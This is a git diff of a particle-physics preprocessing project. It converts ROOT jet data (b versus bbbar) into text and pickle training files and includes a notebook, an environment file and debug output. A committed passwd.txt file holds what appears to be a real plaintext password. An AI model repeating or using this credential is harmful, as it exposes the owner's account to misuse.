attrs.field() # pseudorapidity + part_dphi: float = attrs.field() # azimuthal angle + part_logptrel: float = attrs.field() # log10(pt(particle)/pt(jet)) + part_logerel: float = attrs.field() # log10(energy(particle)/energy(jet)) + part_deltaR: float = attrs.field() # distance between the particle and the jet + part_d0: float = attrs.field() # tanh(d0) + part_dz: float = attrs.field() # tanh(z0) + particle_type: ParticleType = attrs.field() # type of the particle as an enum + particle_pid: int = attrs.field() # pid of the particle + jet_type: str = attrs.field() # type of the jet (e.g. b, bbbar) + + def properties_concatenated(self, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',') -> str: + if selected_attrs is None: + selected_attrs = [field.name for field in attrs.fields(self) if field.name != "jet_type"] + values = [getattr(self, attr) for attr in selected_attrs] + values = [v.value if isinstance(v, ParticleType) else v for v in values] # Convert ParticleType to its numeric value + return attr_sep.join(map(str, values)) + +@attrs.define +class Jet: + jet_energy: float = attrs.field() # energy of the jet + jet_pt: float = attrs.field() # transverse momentum of the jet + jet_eta: float = attrs.field() # pseudorapidity of the jet + label: str = attrs.field() # type of bb or bbbar + particles: List[ParticleBase] = attrs.field(factory=list) # list of particles in the jet + + def __len__(self): + return len(self.particles) + + def particles_concatenated(self, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|') -> str: + return part_sep.join(map(lambda p: p.properties_concatenated(selected_attrs, attr_sep), self.particles)) + +@attrs.define +class JetSet: + jets_type: str = attrs.field() # type of the jets (e.g. bb, bbbar) + jets: List[Jet] = attrs.field(factory=list) + + def __len__(self): + return len(self.jets) + + @staticmethod + def jud_type(jtmp): + particle_dict = { + 0: ParticleType.NeutralHadron, + 1: ParticleType.Photon, + 2: ParticleType.Electron, + 3: ParticleType.Muon, + 4: ParticleType.Pion, + 5: ParticleType.ChargedKaon, + 6: ParticleType.Proton, + 7: ParticleType.Others + } + max_element = max(jtmp) + idx = jtmp.index(max_element) + return particle_dict.get(idx, ParticleType.Others), idx + + @classmethod + def build_jetset(cls, root_file: Union[str, Path]) -> "JetSet": + print(f"Building JetSet from {root_file}") + if not 'bbbar' in Path(root_file).stem and not 'bb' in Path(root_file).stem: + raise ValueError("Invalid file name, should contain 'bb' or 'bbbar'") + jets_type = "bbbar" if "bbbar" in Path(root_file).stem else "bb" + print(f"jet type: {jets_type}") + with uproot.open(root_file) as f: + tree = f["tree"] + a = tree.arrays(library="pd") + + label = Path(root_file).stem.split('_')[0] + jet_type = "bbbar jet" if "bbbar" in root_file.stem else "b jet" + jet_list = [] + for i, j in a.iterrows(): + part_pt = np.array(j['part_pt']) + jet_pt = np.array(j['jet_pt']) + part_logptrel = np.log(np.divide(part_pt, jet_pt)) + + part_energy = np.array(j['part_energy']) + jet_energy = np.array(j['jet_energy']) + part_logerel = np.log(np.divide(part_energy, jet_energy)) + + part_deta = np.array(j['part_deta']) + part_dphi = np.array(j['part_dphi']) + part_deltaR = np.hypot(part_deta, part_dphi) + + assert len(j['part_pt']) == len(j['part_energy']) == len(j['part_deta']) + particles = [] + particle_list = ['part_isNeutralHadron', 'part_isPhoton', 'part_isElectron', 'part_isMuon', 'part_isPion', 'part_isChargedKaon', 'part_isProton'] + part_type = [] + part_pid = [] + for pn in range(len(j['part_pt'])): + jtmp = [] + for t in particle_list: + jtmp.append(j[t][pn]) + tmp_type, tmp_pid = cls.jud_type(jtmp) + part_type.append(tmp_type) + part_pid.append(tmp_pid) + + for pn in range(len(part_type)): + particles.append(ParticleBase( + particle_id=i, + part_charge=j['part_charge'][pn], + part_energy=j['part_energy'][pn], + part_px=j['part_px'][pn], + part_py=j['part_py'][pn], + part_pz=j['part_pz'][pn], + log_energy=np.log(j['part_energy'][pn]), + log_pt=np.log(j['part_pt'][pn]), + part_deta=j['part_deta'][pn], + part_dphi=j['part_dphi'][pn], + part_logptrel=part_logptrel[pn], + part_logerel=part_logerel[pn], + part_deltaR=part_deltaR[pn], + part_d0=np.tanh(j['part_d0val'][pn]), + part_dz=np.tanh(j['part_dzval'][pn]), + particle_type=part_type[pn], + particle_pid=part_pid[pn], + jet_type=jet_type + )) + + jet = Jet( + jet_energy=j['jet_energy'], + jet_pt=j['jet_pt'], + jet_eta=j['jet_eta'], + particles=particles, + label=label + ) + jet_list.append(jet) + + return cls(jets=jet_list, jets_type=jets_type) + + def save_to_txt(self, save_dir, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|', prefix: str = ""): + for file_counter, jet in enumerate(tqdm(self.jets)): + filename = f"{self.jets_type}_{file_counter}_{prefix}.txt" + filepath = os.path.join(save_dir, filename) + + jet_data = jet.particles_concatenated(selected_attrs, attr_sep, part_sep) + with open(filepath, 'w') as file: + file.write(jet_data) + +@click.command() +@click.argument('root_dir', type=click.Path(exists=True)) +@click.argument('save_dir', type=click.Path()) +@click.option('--attr-sep', default=',', help='Separator for attributes.') +@click.option('--part-sep', default='|', help='Separator for particles.') +@click.option('--selected-attrs', default='particle_id,part_charge,part_energy,part_px,part_py,part_pz,log_energy,log_pt,part_deta,part_dphi,part_logptrel,part_logerel,part_deltaR,part_d0,part_dz,particle_type,particle_pid', help='Comma-separated list of selected attributes.') +def main(root_dir, save_dir, attr_sep, part_sep, selected_attrs): + selected_attrs = selected_attrs.split(',') + preprocess(root_dir, save_dir, selected_attrs=selected_attrs, attr_sep=attr_sep, part_sep=part_sep) + +def preprocess(root_dir, save_dir, selected_attrs: Optional[List[str]] = None, attr_sep: str = ',', part_sep: str = '|'): + root_files = list(Path(root_dir).glob('*.root')) + os.makedirs(save_dir, exist_ok=True) + joblib.Parallel(n_jobs=-1)( + joblib.delayed(process_file)(root_file, save_dir, selected_attrs, attr_sep, part_sep, i) for i, root_file in enumerate(root_files) + ) + +def process_file(root_file, save_dir, selected_attrs, attr_sep, part_sep, process_id): + prefix = f"process_{process_id}" + jet_set = JetSet.build_jetset(root_file) + jet_set.save_to_txt(save_dir, selected_attrs, attr_sep, part_sep, prefix) + +if __name__ == "__main__": + main() diff --git a/data_struct.py b/data_struct.py new file mode 100644 index 0000000..032f2f9 --- /dev/null +++ b/data_struct.py @@ -0,0 +1,260 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- +''' +@file :data_struct.py +@Description: : +@Date :2024/06/04 09:08:46 +@Author :hotwa +@version :1.0 +''' + +import attrs +from typing import List +import numpy as np +import uproot +from pathlib import Path +from tqdm import tqdm +import os +import random +import pickle +@attrs.define +class ParticleBase: + particle_id: int = attrs.field() # unique id for each particle + part_charge: int = attrs.field() # charge of the particle + part_energy: float = attrs.field() # energy of the particle + part_px: float = attrs.field() # x-component of the momentum vector + part_py: float = attrs.field() # y-component of the momentum vector + part_pz: float = attrs.field() # z-component of the momentum vector + log_energy: float = attrs.field() # log10(part_energy) + log_pt: float = attrs.field() # log10(part_pt) + part_deta: float = attrs.field() # pseudorapidity + part_dphi: float = attrs.field() # azimuthal angle + part_logptrel: float = attrs.field() # log10(pt(particle)/pt(jet)) + part_logerel: float = attrs.field() # log10(energy(particle)/energy(jet)) + part_deltaR: float = attrs.field() # distance between the particle and the jet + part_d0: float = attrs.field() # tanh(d0) + part_dz: float = attrs.field() # tanh(z0) + #particle_type: str = attrs.field() # type of the particle (e.g. charged kaon, charged pion, proton, electron, muon, neutral hadron, photon, others) + particle_pid: int = attrs.field() # pid of the particle (e.g. 0,1,2,3,4,5,6,7) + + def properties_concatenated(self) -> str: + # 使用map函数将属性值转换为字符串,并保留整数和浮点数的格式 + values_str = map(lambda x: f"{x}", attrs.astuple(self)) + # 连接所有属性值为一个字符串 + concatenated_str = ' '.join(values_str) + return concatenated_str + + def attributes_to_float_list(self) -> list: + attribute_values = [] + for field in attrs.fields(self.__class__): # 获取类的所有字段 + value = getattr(self, field.name) + # 检查属性值是否为整数,如果是则转换为浮点数 + attribute_values.append(float(value) if isinstance(value, int) else value) + return attribute_values + +@attrs.define +class Jet: + jet_energy: float = attrs.field() # energy of the jet + jet_pt: float = attrs.field() # transverse momentum of the jet + jet_eta: float = attrs.field() # pseudorapidity of the jet + label: str = attrs.field() # tpye of bb or bbbar + particles: List[ParticleBase] = attrs.field(factory=list) # list of particles in the jet + + def __len__(self): + return len(self.particles) + + def particles_concatenated(self) -> str: + # 连接所有粒子属性值为一个字符串 + concatenated_str = ','.join([particle.properties_concatenated() for particle in self.particles]) + return concatenated_str + def particles_attribute_list(self) ->list: + attribute_list = [particle.attributes_to_float_list() for particle in self.particles] + return attribute_list + +@attrs.define +class JetSet: + jets: List[Jet] + + def __len__(self): + return len(self.jets) + +def jud_type(jtmp): + particle_dict = {'NeutralHadron':0,'Photon':1, 'Electron':2, 'Muon':3, 'Pion':4,'ChargedKaon':5, 'Proton':6} + max_element = max(jtmp) + idx = jtmp.index(max_element) + items = list(particle_dict.items()) + return items[idx][0], items[idx][1] + +def build_jetset(root_file): + with uproot.open(root_file) as f: + tree = f["tree"] + a = tree.arrays(library="pd") # pd.DataFrame + # print(a.keys()) + label = Path(root_file).stem.split('_')[0] + jet_list = [] + for i, j in a.iterrows(): + part_pt = np.array(j['part_pt']) + jet_pt = np.array(j['jet_pt']) + part_logptrel = np.log(np.divide(part_pt, jet_pt)) + + part_energy = np.array(j['part_energy']) + jet_energy = np.array(j['jet_energy']) + part_logerel = np.log(np.divide(part_energy, jet_energy)) + + part_deta = np.array(j['part_deta']) + part_dphi = np.array(j['part_dphi']) + part_deltaR = np.hypot(part_deta, part_dphi) + + assert len(j['part_pt']) == len(j['part_energy']) == len(j['part_deta']) + #particle_num = len(len(j['part_pt'])) + # add particles + particles = [] + + + particle_list = ['part_isNeutralHadron','part_isPhoton', 'part_isElectron', 'part_isMuon', 'part_isPion','part_isChargedKaon', 'part_isProton'] + part_type = [] + part_pid = [] + for pn in range(len(j['part_pt'])): + jtmp = [] + for t in particle_list: + jtmp.append(j[t][pn]) + tmp_type, tmp_pid = jud_type(jtmp) + part_type.append(tmp_type) + part_pid.append(tmp_pid) + + + for ii, jj, kk, ptype, pid in zip(part_logptrel, part_logerel, part_deltaR, part_type, part_pid): + particles.append(ParticleBase( + particle_id=i, + part_charge=j['part_charge'], + part_energy=j['part_energy'], + part_px=j['part_px'], + part_py=j['part_py'], + part_pz=j['part_pz'], + log_energy=np.log(j['part_energy']), + log_pt=np.log(j['part_pt']), + part_deta=j['part_deta'], + part_dphi=j['part_dphi'], + part_logptrel=ii, + part_logerel=jj, + part_deltaR=kk, + part_d0=np.tanh(j['part_d0val']), + part_dz=np.tanh(j['part_dzval']), + #particle_type=ptype, # assuming you will set this correctly + particle_pid=pid # assuming you will set this correctly + )) + # add jets + jet = Jet( + jet_energy=j['jet_energy'], + jet_pt=['jet_pt'], + jet_eta=['jet_eta'], + particles=particles, + label= label + ) + jet_list.append(jet) + + jet_set = JetSet(jets=jet_list) + return jet_set + +def preprocess(root_dir,method='float_list'): + train_jetset_list = [] + val_jetset_list = [] + train_ratio=0.8 + # 遍历directory下的所有子目录 + for root, dirs, files in os.walk(root_dir): + for dir_name in dirs: # 直接遍历dirs列表,避免二次os.walk + if dir_name in ['bb', 'bbbar']: + bb_bbbar_files = [] + # 遍历当前dir_name下的所有文件 + for _, _, files in os.walk(os.path.join(root, dir_name)): + for file in files: + if file.endswith('.root'): + # 构建文件的完整路径并添加到列表中 + full_path = os.path.join(root, dir_name, file) + bb_bbbar_files.append(full_path) + + if bb_bbbar_files: # 确保列表不为空才进行后续操作 + random.shuffle(bb_bbbar_files) + split_index = int(len(bb_bbbar_files) * train_ratio) + train_files = bb_bbbar_files[:split_index] + val_files = bb_bbbar_files[split_index:] + print('len(train_files):',len(train_files)) + print('len(val_files):',len(val_files)) + # 限制训练集和验证集的文件数量 + train_file_limit = 32 + val_file_limit = 8 + if method =="float_list": + train_file_count = 0 + file_counter = 0 + for file in train_files: + if train_file_count < train_file_limit: + train_file_count += 1 + print(f"loading{file} to train pkl") + train_jetset = build_jetset(file) + for jet in tqdm(train_jetset.jets): + jet_list= jet.particles_attribute_list() + label = jet.label + file_counter += 1 + filename = f"{label}_{file_counter}.pkl" + filepath = os.path.join('/data/slow/100w_pkl/train', filename) + with open(filepath, 'wb') as file: + pickle.dump(jet_list,file) + else: + break + val_file_count = 0 + for file in val_files: + if val_file_count < val_file_limit: + val_file_count +=1 + print(f"loading{file} to val pkl") + train_jetset = build_jetset(file) + for jet in tqdm(train_jetset.jets): + jet_list= jet.particles_attribute_list() + label = jet.label + file_counter += 1 + filename = f"{label}_{file_counter}.pkl" + filepath = os.path.join('/data/slow/100w_pkl/val', filename) + with open(filepath, 'wb') as file: + pickle.dump(jet_list,file) + else: + break + else: + train_file_count = 0 + file_counter = 0 + for file in train_files: + if train_file_count < train_file_limit: + train_file_count += 1 + print(f"loading{file}to train txt") + train_jetset = build_jetset(file) + for jet in tqdm(train_jetset.jets): + jet_str= jet.particles_concatenated() + label = jet.label + file_counter += 1 + + filename = f"{label}_{file_counter}.txt" + filepath = os.path.join('/data/slow/100w/train', filename) + with open(filepath, 'w') as file: + file.write(jet_str) + else: + break + val_file_count = 0 + for file in val_files: + if val_file_count < val_file_limit: + val_file_count +=1 + print(f"loading{file}to val txt") + train_jetset = build_jetset(file) + for jet in tqdm(train_jetset.jets): + jet_str= jet.particles_concatenated() + label = jet.label + file_counter += 1 + + filename = f"{label}_{file_counter}.txt" + filepath = os.path.join('/data/slow/100w/val', filename) + with open(filepath, 'w') as file: + file.write(jet_str) + else: + break + +if __name__ == '__main__': + root_dir = "/data/particle_raw/slow/data_100w/n2n2higgs" + preprocess(root_dir,method='str') + \ No newline at end of file diff --git a/dataloader.py b/dataloader.py new file mode 100644 index 0000000..ca109be --- /dev/null +++ b/dataloader.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- +''' +@file :test.py +@Description: : test unit for ParticleData class +@Date :2024/05/14 16:19:01 +@Author :lyzeng +@Email :pylyzeng@gmail.com +@version :1.0 +''' +from pathlib import Path +from typing import List, Union +import json +from json import JSONDecodeError +from typing import List, Union +import attrs +import pickle +from tqdm import tqdm +import random +import shutil +from pathlib import Path +import seaborn as sns +import matplotlib.pyplot as plt + +@attrs.define +class Particle: + instruction: str + input: str + output: int + +@attrs.define +class ParticleData: + file: Union[Path, str] = attrs.field( + converter=attrs.converters.optional(lambda v: Path(v)) + ) + data: List[Particle] = attrs.field( + converter=lambda data: data + ) + max_length: int = attrs.field(init=False) + + def __len__(self): + return len(self.data) + + def __attrs_post_init__(self): + self.max_length = max([len(bytearray(d.input, 'utf-8')) for d in self.data]) + + @classmethod + def from_file(cls, file_path: Union[Path, str]): + # 从文件中读取序列化的数据 + with open(file_path, 'rb') as f: + loaded_data = pickle.load(f) + return cls(file=file_path, data=loaded_data) + + +@attrs.define +class EpochLog: + epoch: int + train_acc: float + eval_acc: float + + @classmethod + def from_log_lines(cls, log_lines): + epochs = [] + epoch_data = {} + for line in log_lines: + if line.startswith('Epoch'): + epoch = int(line.split()[-1]) + epoch_data = {'epoch': epoch} + epochs.append(epoch_data) + elif line.startswith('train_acc:'): + epoch_data['train_acc'] = float(line.split(':')[-1]) + elif line.startswith('eval_acc:'): + epoch_data['eval_acc'] = float(line.split(':')[-1]) + return [cls(**epoch) for epoch in epochs if 'train_acc' in epoch and 'eval_acc' in epoch] + +@attrs.define +class AccuracyLogger: + epochs: List[EpochLog] + + @classmethod + def from_log_file(cls, log_file: Path): + log_lines = log_file.read_text().splitlines() + epoch_logs = EpochLog.from_log_lines(log_lines) + return cls(epoch_logs) + + def plot_acc_curve(self, save_path: Path = None): + epochs = [e.epoch for e in self.epochs] + train_accs = [e.train_acc for e in self.epochs] + eval_accs = [e.eval_acc for e in self.epochs] + + plt.figure(figsize=(10, 6)) + sns.lineplot(x=epochs, y=train_accs, label='Train Accuracy') + sns.lineplot(x=epochs, y=eval_accs, label='Eval Accuracy') + plt.xlabel('Epoch') + plt.ylabel('Accuracy') + plt.title('Training and Evaluation Accuracy over Epochs') + plt.legend() + plt.grid(True) + + if save_path: + plt.savefig(save_path) + else: + plt.show() + +def plot_acc_curve(log_file: Path, save_path: Path = Path('accuracy_curve.png')): + accuracy_logger = AccuracyLogger.from_log_file(log_file) + accuracy_logger.plot_acc_curve(save_path=save_path) + +def split_train_eval_data(path: List[Path], + ext: str = 'txt', train_dir: str = 'train_data', eval_dir: str = 'eval_dir'): + # 创建目录 + if not Path(train_dir).exists(): + Path(train_dir).mkdir() + + if not Path(eval_dir).exists(): + Path(eval_dir).mkdir() + # 获取所有文件 + all_files = (file for f in path for file in f.glob(f'*.{ext}')) + # 转换为列表以便于打乱和分割 + all_files = list(all_files) + random.shuffle(all_files) + # 计算分割点 + split_idx = int(len(all_files) * 0.8) + # 分割数据集 + train_files = all_files[:split_idx] + eval_files = all_files[split_idx:] + # 复制文件到相应目录 + for file in train_files: + shutil.copy(file, Path(train_dir) / file.name) + for file in eval_files: + shutil.copy(file, Path(eval_dir) / file.name) + +if __name__ == '__main__': + all_file = Path('origin_data').glob('*.jsonl') + data = [] + for file in all_file: + t_lines = file.read_text()[1:-1].splitlines()[1:] + for i, line in enumerate(t_lines): + if line[-1] == ',': + line = line[:-1] + particle_dict = json.loads(line) + data.append(Particle(**particle_dict)) + + with open('particle_data.pkl', 'wb') as f: + pickle.dump(data, f) + + print(f"Total {len(data)} particles, train data account for {len(data)*0.8}, eval data account for {len(data)*0.2}") + + with open('particle_data_train.pkl', 'wb') as f: + pickle.dump(data[:int(len(data)*0.8)], f) + + with open('particle_data_eval.pkl', 'wb') as f: + pickle.dump(data[int(len(data)*0.2):], f) + + all_files = ParticleData.from_file('/data/bgptf/particle_data.pkl') + train_files = ParticleData.from_file('/data/bgptf/particle_data_train.pkl') + eval_files = ParticleData.from_file('/data/bgptf/particle_data_eval.pkl') + test_files = ParticleData.from_file('/data/bgptf/particle_test.pkl') + p = Path('train_file_split') + if not p.exists(): + p.mkdir() + for n, particle in tqdm(enumerate(train_files.data), total=len(train_files.data), desc="Writing files"): + with open(p.joinpath(f'class{particle.output}_{n}.txt'), 'w') as f: + f.write(particle.input) + + # 定义源目录和目标目录 + source_dir = Path('train_file_split') + train_dir = Path('bbbar_train_split') + eval_dir = Path('bbbar_eval_split') + + # 创建目标目录 + train_dir.mkdir(parents=True, exist_ok=True) + eval_dir.mkdir(parents=True, exist_ok=True) + + # 获取所有文件路径 + all_files = list(source_dir.glob('*.txt')) + + # 设置划分比例,例如 80% 作为训练集,20% 作为验证集 + train_ratio = 0.8 + + # 计算训练集和验证集的文件数量 + num_train_files = int(len(all_files) * train_ratio) + num_eval_files = len(all_files) - num_train_files + + # 随机打乱文件列表 + random.shuffle(all_files) + + # 划分训练集和验证集 + train_files = all_files[:num_train_files] + eval_files = all_files[num_train_files:] + + # 复制文件到目标目录并显示进度条 + print("正在复制训练集文件...") + for file in tqdm(train_files, desc="训练集进度"): + shutil.copy(file, train_dir / file.name) + + print("正在复制验证集文件...") + for file in tqdm(eval_files, desc="验证集进度"): + shutil.copy(file, eval_dir / file.name) + + print(f"训练集文件数: {len(train_files)}") + print(f"验证集文件数: {len(eval_files)}") + ... \ No newline at end of file diff --git a/environment.yaml b/environment.yaml new file mode 100644 index 0000000..c897951 --- /dev/null +++ b/environment.yaml @@ -0,0 +1,22 @@ +name: bgpt_data +channels: + - defaults + - conda-forge +dependencies: + - python=3.10 + - click + - joblib + - pandas + - pip + - uproot + - attrs + - ipython + - ipykernel + - awkward-pandas + - importlib-metadata + - dill + - tqdm + - pytorch + - pyInstaller + pip: + - pyarmor \ No newline at end of file diff --git a/particle.py b/particle.py new file mode 100644 index 0000000..70c30ad --- /dev/null +++ b/particle.py @@ -0,0 +1,13 @@ +# particle.py + +import enum + +class ParticleType(enum.Enum): + NeutralHadron = 0 + Photon = 1 + Electron = 2 + Muon = 3 + Pion = 4 + ChargedKaon = 5 + Proton = 6 + Others = 7 diff --git a/passwd.txt b/passwd.txt new file mode 100644 index 0000000..07e52fd --- /dev/null +++ b/passwd.txt @@ -0,0 +1 @@ +Xiaozhe+521 \ No newline at end of file diff --git a/print.txt b/print.txt new file mode 100644 index 0000000..d97edc7 --- /dev/null +++ b/print.txt @@ -0,0 +1,39 @@ +Building JetSet from data/full_bb.root +属性名称: particle_id, 类型: , 值: 0 +属性名称: part_charge, 类型: , 值: [1.0, -1.0, 0.0, 0.0, 1.0, -1.0, 0.0, 1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.0, 0.0, 0.0, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0] +属性名称: part_energy, 类型: , 值: [15.209561347961426, 13.140800476074219, 8.555957794189453, 6.927829742431641, 6.921298027038574, 6.718546390533447, 5.639996528625488, 2.734797239303589, 2.276695728302002, 2.0461738109588623, 1.7986037731170654, 1.388156771659851, 1.38234281539917, 1.0570266246795654, 0.8934926986694336, 0.8899771571159363, 0.879972517490387, 0.7406238317489624, 0.5272039175033569, 0.3686225712299347, 0.3535390794277191, 0.34719786047935486, 0.34384962916374207, 0.2649906873703003, 0.23999999463558197, 0.18479159474372864, 0.17317134141921997, 0.15941102802753448, 0.12423540651798248, 0.08461850136518478, 0.0843382179737091, 0.02829699218273163, 0.009839793667197227] +属性名称: part_px, 类型: , 值: [-5.796960830688477, -5.311581611633301, -3.19583797454834, -2.326359510421753, -2.503192901611328, -2.6899032592773438, -1.925751805305481, -0.8692939281463623, -0.7592987418174744, -0.7812060713768005, -0.6791485548019409, -0.3433796167373657, -0.47946590185165405, -0.18832340836524963, -0.35665348172187805, -0.28360629081726074, -0.3264841139316559, -0.3620759844779968, -0.26313358545303345, -0.1359526515007019, -0.123598612844944, -0.06242864206433296, -0.13691917061805725, -0.08844801038503647, -0.05727635696530342, -0.08955521136522293, -0.12885883450508118, -0.10516541451215744, -0.03254406899213791, -0.015558036044239998, -0.02192043326795101, -0.008681708946824074, -0.0013048802502453327] +属性名称: part_py, 类型: , 值: [-8.48299789428711, -6.931148052215576, -4.749238014221191, -3.9339864253997803, -4.476352691650391, -3.8203539848327637, -3.365067958831787, -1.7807756662368774, -1.501481056213379, -1.1750568151474, -0.9528936743736267, -0.7268454432487488, -0.833030104637146, 0.49239909648895264, -0.4624371826648712, -0.5192604064941406, -0.2649482488632202, -0.40544790029525757, -0.32859694957733154, -0.19921012222766876, -0.22155417501926422, 0.23689919710159302, -0.21035675704479218, -0.1498441994190216, -0.1331370621919632, -0.012309929355978966, 0.06338366121053696, -0.07766649127006531, -0.06364167481660843, 0.03760836273431778, -0.04934240132570267, -0.019126178696751595, 0.004166470840573311] +属性名称: part_pz, 类型: , 值: [-11.213626861572266, -9.818737030029297, -6.358912944793701, -5.206402778625488, -4.645572185516357, -4.82585334777832, -4.096017360687256, -1.8796172142028809, -1.5337415933609009, -1.481818437576294, -1.3659160137176514, -1.1231404542922974, -0.9935013651847839, -0.916178286075592, -0.6762243509292603, -0.6648273468017578, -0.7730214595794678, -0.5030274987220764, -0.2853204607963562, -0.2787737548351288, -0.2462255209684372, -0.20299455523490906, -0.23502285778522491, -0.19985926151275635, -0.19129541516304016, -0.1611715406179428, -0.09677927196025848, -0.09121418744325638, -0.10161228477954865, -0.07418793439865112, -0.06479009985923767, -0.018961459398269653, -0.008818126283586025] +属性名称: log_energy, 类型: , 值: [ 2.72192427 2.57572193 2.14662786 1.9355466 1.93460333 1.90487182 + 1.72988345 1.0060573 0.82272515 0.71597162 0.58701068 0.3279768 + 0.32377975 0.0554599 -0.11261712 -0.11655948 -0.1278646 -0.30026243 + -0.64016787 -0.997982 -1.03976125 -1.05786046 -1.06755084 -1.3280606 + -1.42711638 -1.6885266 -1.75347376 -1.83626933 -2.08557707 -2.46960234 + -2.47292016 -3.56499976 -4.62132054] +属性名称: log_pt, 类型: , 值: [ 2.32966824 2.16703303 1.744736 1.51959212 1.63485496 1.54165826 + 1.35509735 0.68391671 0.52031146 0.34432893 0.15713127 -0.21831242 + -0.03961538 -0.64020631 -0.53786329 -0.52481977 -0.86639788 -0.60956524 + -0.86519514 -1.42221173 -1.3716092 -1.40655069 -1.38233552 -1.74869444 + -1.9314722 -2.40354098 -1.94069632 -2.03457679 -2.63833865 -3.20154184 + -2.91891223 -3.86302568 -5.43390179] +属性名称: part_deta, 类型: , 值: [-0.012650121003389359, 0.009468508884310722, 0.00042291259160265326, 0.01923862285912037, -0.14403046667575836, -0.05278221517801285, -0.036465417593717575, -0.11269791424274445, -0.1397673487663269, -0.040799811482429504, 0.03767024725675583, 0.17913000285625458, -0.05223162844777107, 0.362665593624115, 0.03155886009335518, 0.008969753980636597, 0.4117862284183502, -0.1295829564332962, -0.3228398263454437, 0.03021526150405407, -0.09680869430303574, -0.20235909521579742, -0.12153740972280502, 0.025453981012105942, 0.13331031799316406, 0.38491809368133545, -0.3260197937488556, -0.30641964077949524, 0.19324439764022827, 0.40427282452583313, 0.05876421928405762, -0.14629797637462616, 0.4952174425125122] +属性名称: part_dphi, 类型: , 值: [-0.004700591322034597, -0.05910219997167587, 0.0024550738744437695, 0.060737334191799164, 0.0848897248506546, -0.018699318170547485, 0.07498598098754883, 0.1406451165676117, 0.1265745460987091, 0.008045745082199574, -0.02444184571504593, 0.15342673659324646, 0.07251019775867462, -2.181525468826294, -0.062189724296331406, 0.09487095475196838, -0.2942989766597748, -0.13417768478393555, -0.08044422417879105, -0.004084283020347357, 0.08590564131736755, -2.2891547679901123, 0.01777080073952675, 0.06153986230492592, 0.18849976360797882, -0.8394244313240051, -1.4331588745117188, -0.3399130403995514, 0.12207411229610443, -2.1545727252960205, 0.17670847475528717, 0.1686646193265915, -2.2433114051818848] +属性名称: part_logptrel, 类型: , 值: -1.6656613686933 +属性名称: part_logerel, 类型: , 值: -1.6908250129173599 +属性名称: part_deltaR, 类型: , 值: 0.013495225829054495 +属性名称: part_d0, 类型: , 值: [-0.08485882 0.08362859 0. 0. -0.12567137 0.13890936 + 0. 0.05528848 0. 0. 0. -0.08717197 + 0. 0. 0. 0. 0. 0. + 0.07979553 0. 0. 0.06790032 0. 0. + 0. 0. 0. 0. 0. 0. + 0. 0. 0. ] +属性名称: part_dz, 类型: , 值: [ 0.16160717 0.07151473 0. 0. -0.16053929 0.09658169 + 0. 0.06517879 0. 0. 0. 0.11920792 + 0. 0. 0. 0. 0. 0. + -0.13735584 0. 0. 0.12359677 0. 0. + 0. 0. 0. 0. 0. 0. + 0. 0. 0. ] +属性名称: particle_type, 类型: , 值: ParticleType.Electron +属性名称: particle_pid, 类型: , 值: 2 +属性名称: jet_type, 类型: , 值: b jet \ No newline at end of file diff --git a/test.ipynb b/test.ipynb new file mode 100644 index 0000000..48f2cb9 --- /dev/null +++ b/test.ipynb @@ -0,0 +1,397 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 29, + "metadata": {}, + "outputs": [], + "source": [ + "!rm -rf ./save/*" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Building JetSet from data/data_full/full_bbbar.root\n", + "jet type: bbbar\n", + "Building JetSet from data/data_full/full_bb.root\n", + "jet type: bb\n", + "100%|███████████████████████████████████| 24921/24921 [00:06<00:00, 3850.86it/s]\n", + "100%|███████████████████████████████████| 24930/24930 [00:06<00:00, 3754.57it/s]\n" + ] + } + ], + "source": [ + "from pathlib import Path\n", + "if not Path('save/save_full').exists():\n", + " Path('save/save_full').mkdir()\n", + "!python convert_root_to_txt.py ./data/data_full ./save/save_full --data-type full --attr-sep '|' --part-sep ';' --selected-attrs 'part_charge,part_energy,part_px,part_py,part_pz,log_energy,log_pt,part_deta,part_dphi,part_logptrel,part_logerel,part_deltaR,part_d0,part_dz,particle_pid'\n" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Building JetSet from data/data_fast/fast_bbar.root\n", + "jet type: bb\n", + "Building JetSet from data/data_fast/fast_bb.root\n", + "jet type: bb\n", + "joblib.externals.loky.process_executor._RemoteTraceback: \n", + "\"\"\"\n", + "Traceback (most recent call last):\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/externals/loky/process_executor.py\", line 463, in _process_worker\n", + " r = call_item()\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/externals/loky/process_executor.py\", line 291, in __call__\n", + " return self.fn(*self.args, **self.kwargs)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 598, in __call__\n", + " return [func(*args, **kwargs)\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/joblib/parallel.py\", line 598, in \n", + " return [func(*args, **kwargs)\n", + " File \"/home/lingyuzeng/project/bbbar_data_struct/convert_root_to_txt.py\", line 271, in process_file\n", + " jet_set = JetSet.build_jetset_fast(root_file)\n", + " File \"/home/lingyuzeng/project/bbbar_data_struct/convert_root_to_txt.py\", line 102, in build_jetset_fast\n", + " for i, j in a.iterrows():\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/pandas/core/frame.py\", line 1541, in iterrows\n", + " for k, v in zip(self.index, self.values):\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/pandas/core/frame.py\", line 12651, in values\n", + " return self._mgr.as_array()\n", + " File \"/home/lingyuzeng/micromamba/envs/bgpt_data/lib/python3.10/site-packages/pandas/core/internals/managers.py\", line 1692, in as_array\n", + " arr = self._interleave(dtype=dtype, na_value=na_value)\n", + " 